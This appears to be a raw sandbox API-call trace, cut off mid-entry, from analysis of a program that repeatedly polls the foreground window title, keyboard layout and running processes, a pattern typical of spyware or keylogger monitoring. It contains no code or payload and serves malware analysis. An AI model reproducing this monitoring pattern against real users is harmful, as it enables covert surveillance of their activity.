[0199.489] GetLastError () returned 0x0 [0199.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0199.492] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0199.492] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.550] GetForegroundWindow () returned 0x101a2 [0199.550] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.613] GetForegroundWindow () returned 0x101a2 [0199.613] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.675] GetForegroundWindow () returned 0x101a2 [0199.675] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.737] GetForegroundWindow () returned 0x100f6 [0199.737] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0199.737] EnumProcesses (in: lpidProcess=0x23f1d78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f1d78, lpcbNeeded=0x4f8f87c) returned 1 [0199.738] GetLastError () returned 0x0 [0199.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0199.742] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0199.742] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0201.064] GetForegroundWindow () returned 0x101a2 [0201.064] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0201.064] EnumProcesses (in: lpidProcess=0x2494bbc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2494bbc, lpcbNeeded=0x4f8f87c) returned 1 [0201.065] GetLastError () returned 0x0 [0201.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8f28) returned 0x0 [0201.069] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0201.069] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.126] GetForegroundWindow () returned 0x101a2 [0201.126] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.189] GetForegroundWindow () returned 0x101a2 [0201.189] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.251] GetForegroundWindow () returned 0x101a2 [0201.251] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.313] GetForegroundWindow () returned 0x100f6 [0201.313] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0201.313] EnumProcesses (in: lpidProcess=0x24a6f54, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a6f54, lpcbNeeded=0x4f8f87c) returned 1 [0201.314] GetLastError () returned 0x0 [0201.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0201.317] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0201.317] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0201.376] GetForegroundWindow () returned 0x101a2 [0201.376] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0201.376] EnumProcesses (in: lpidProcess=0x24b8a78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b8a78, lpcbNeeded=0x4f8f87c) returned 1 [0201.376] GetLastError () returned 0x0 [0201.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0201.380] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0201.380] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.438] GetForegroundWindow () returned 0x101a2 [0201.439] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.500] GetForegroundWindow () returned 0x101a2 [0201.501] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.563] GetForegroundWindow () returned 0x101a2 [0201.563] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.625] GetForegroundWindow () returned 0x100f6 [0201.625] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0201.625] EnumProcesses (in: lpidProcess=0x24cada4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24cada4, lpcbNeeded=0x4f8f87c) returned 1 [0201.626] GetLastError () returned 0x0 [0201.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0201.629] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0201.629] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0201.689] GetForegroundWindow () returned 0x101a2 [0201.689] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0201.689] EnumProcesses (in: lpidProcess=0x24dc8c8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24dc8c8, lpcbNeeded=0x4f8f87c) returned 1 [0201.689] GetLastError () returned 0x0 [0201.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0201.693] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0201.693] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.750] GetForegroundWindow () returned 0x101a2 [0201.751] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.812] GetForegroundWindow () returned 0x101a2 [0201.813] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.876] GetForegroundWindow () returned 0x101a2 [0201.876] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.937] GetForegroundWindow () returned 0x100f6 [0201.937] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0201.937] EnumProcesses (in: lpidProcess=0x24eebf4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24eebf4, lpcbNeeded=0x4f8f87c) returned 1 [0201.938] GetLastError () returned 0x0 [0201.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0201.942] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0201.942] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0202.000] GetForegroundWindow () returned 0x101a2 [0202.000] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0202.000] EnumProcesses (in: lpidProcess=0x2500718, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2500718, lpcbNeeded=0x4f8f87c) returned 1 [0202.001] GetLastError () returned 0x0 [0202.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0202.008] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0202.008] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.062] GetForegroundWindow () returned 0x101a2 [0202.062] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.124] GetForegroundWindow () returned 0x101a2 [0202.124] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.187] GetForegroundWindow () returned 0x101a2 [0202.187] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.249] GetForegroundWindow () returned 0x100f6 [0202.249] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0202.249] EnumProcesses (in: lpidProcess=0x2512a98, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2512a98, lpcbNeeded=0x4f8f87c) returned 1 [0202.250] GetLastError () returned 0x0 [0202.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0202.261] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0202.261] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0202.311] GetForegroundWindow () returned 0x101a2 [0202.312] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0202.312] EnumProcesses (in: lpidProcess=0x2384e84, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384e84, lpcbNeeded=0x4f8f87c) returned 1 [0202.312] GetLastError () returned 0x0 [0202.313] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0202.316] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0202.316] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.375] GetForegroundWindow () returned 0x101a2 [0202.375] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.436] GetForegroundWindow () returned 0x101a2 [0202.436] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.499] GetForegroundWindow () returned 0x101a2 [0202.499] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.561] GetForegroundWindow () returned 0x100f6 [0202.562] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0202.562] EnumProcesses (in: lpidProcess=0x23971b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23971b0, lpcbNeeded=0x4f8f87c) returned 1 [0202.562] GetLastError () returned 0x0 [0202.563] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0202.565] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0202.566] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0202.623] GetForegroundWindow () returned 0x101a2 [0202.624] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0202.624] EnumProcesses (in: lpidProcess=0x23a8cd4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a8cd4, lpcbNeeded=0x4f8f87c) returned 1 [0202.624] GetLastError () returned 0x0 [0202.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0202.628] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0202.628] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.686] GetForegroundWindow () returned 0x101a2 [0202.686] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.748] GetForegroundWindow () returned 0x101a2 [0202.748] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.811] GetForegroundWindow () returned 0x101a2 [0202.811] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.873] GetForegroundWindow () returned 0x100f6 [0202.873] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0202.873] EnumProcesses (in: lpidProcess=0x23bb000, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bb000, lpcbNeeded=0x4f8f87c) returned 1 [0202.874] GetLastError () returned 0x0 [0202.874] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0202.877] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0202.877] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0202.935] GetForegroundWindow () returned 0x101a2 [0202.936] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0202.936] EnumProcesses (in: lpidProcess=0x23ccb24, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ccb24, lpcbNeeded=0x4f8f87c) returned 1 [0202.936] GetLastError () returned 0x0 [0202.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0202.939] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0202.940] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0202.998] GetForegroundWindow () returned 0x101a2 [0202.998] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.061] GetForegroundWindow () returned 0x101a2 [0203.062] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.124] GetForegroundWindow () returned 0x101a2 [0203.124] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.185] GetForegroundWindow () returned 0x100f6 [0203.185] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0203.185] EnumProcesses (in: lpidProcess=0x23deea4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23deea4, lpcbNeeded=0x4f8f87c) returned 1 [0203.186] GetLastError () returned 0x0 [0203.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0203.190] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0203.190] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0203.248] GetForegroundWindow () returned 0x101a2 [0203.248] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0203.248] EnumProcesses (in: lpidProcess=0x23f09c8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f09c8, lpcbNeeded=0x4f8f87c) returned 1 [0203.248] GetLastError () returned 0x0 [0203.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0203.251] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0203.251] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.310] GetForegroundWindow () returned 0x101a2 [0203.310] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.373] GetForegroundWindow () returned 0x101a2 [0203.373] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.435] GetForegroundWindow () returned 0x101a2 [0203.435] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.497] GetForegroundWindow () returned 0x100f6 [0203.497] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0203.497] EnumProcesses (in: lpidProcess=0x2402d8c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2402d8c, lpcbNeeded=0x4f8f87c) returned 1 [0203.498] GetLastError () returned 0x0 [0203.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0203.501] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0203.501] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0203.560] GetForegroundWindow () returned 0x101a2 [0203.560] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0203.560] EnumProcesses (in: lpidProcess=0x24148b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24148b0, lpcbNeeded=0x4f8f87c) returned 1 [0203.560] GetLastError () returned 0x0 [0203.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0203.564] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0203.564] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.622] GetForegroundWindow () returned 0x101a2 [0203.622] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.684] GetForegroundWindow () returned 0x101a2 [0203.684] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.747] GetForegroundWindow () returned 0x101a2 [0203.747] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.810] GetForegroundWindow () returned 0x100f6 [0203.810] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0203.811] EnumProcesses (in: lpidProcess=0x2426bdc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2426bdc, lpcbNeeded=0x4f8f87c) returned 1 [0203.811] GetLastError () returned 0x0 [0203.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0203.820] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0203.820] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0203.873] GetForegroundWindow () returned 0x101a2 [0203.873] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0203.873] EnumProcesses (in: lpidProcess=0x2438700, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2438700, lpcbNeeded=0x4f8f87c) returned 1 [0203.874] GetLastError () returned 0x0 [0203.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0 [0203.886] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0203.886] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.934] GetForegroundWindow () returned 0x101a2 [0203.934] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0203.996] GetForegroundWindow () returned 0x101a2 [0203.996] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.059] GetForegroundWindow () returned 0x101a2 [0204.059] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.121] GetForegroundWindow () returned 0x100f6 [0204.121] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0204.121] EnumProcesses (in: lpidProcess=0x244aa80, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x244aa80, lpcbNeeded=0x4f8f87c) returned 1 [0204.121] GetLastError () returned 0x0 [0204.122] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0204.125] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0204.125] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0204.183] GetForegroundWindow () returned 0x101a2 [0204.183] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0204.184] EnumProcesses (in: lpidProcess=0x245c538, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245c538, lpcbNeeded=0x4f8f87c) returned 1 [0204.184] GetLastError () returned 0x0 [0204.184] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0204.187] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0204.188] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.246] GetForegroundWindow () returned 0x101a2 [0204.246] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.308] GetForegroundWindow () returned 0x101a2 [0204.308] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.371] GetForegroundWindow () returned 0x101a2 [0204.371] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.433] GetForegroundWindow () returned 0x100f6 [0204.433] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0204.433] EnumProcesses (in: lpidProcess=0x246e7f8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246e7f8, lpcbNeeded=0x4f8f87c) returned 1 [0204.434] GetLastError () returned 0x0 [0204.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0204.437] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0204.437] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0204.496] GetForegroundWindow () returned 0x101a2 [0204.496] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0204.496] EnumProcesses (in: lpidProcess=0x24802b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24802b0, lpcbNeeded=0x4f8f87c) returned 1 [0204.496] GetLastError () returned 0x0 [0204.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0204.500] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0204.500] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.558] GetForegroundWindow () returned 0x101a2 [0204.558] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.622] GetForegroundWindow () returned 0x101a2 [0204.622] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.683] GetForegroundWindow () returned 0x101a2 [0204.683] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.745] GetForegroundWindow () returned 0x100f6 [0204.745] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0204.745] EnumProcesses (in: lpidProcess=0x2492570, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2492570, lpcbNeeded=0x4f8f87c) returned 1 [0204.746] GetLastError () returned 0x0 [0204.746] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8e28) returned 0x0 [0204.749] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0204.749] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0204.807] GetForegroundWindow () returned 0x101a2 [0204.807] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0204.808] 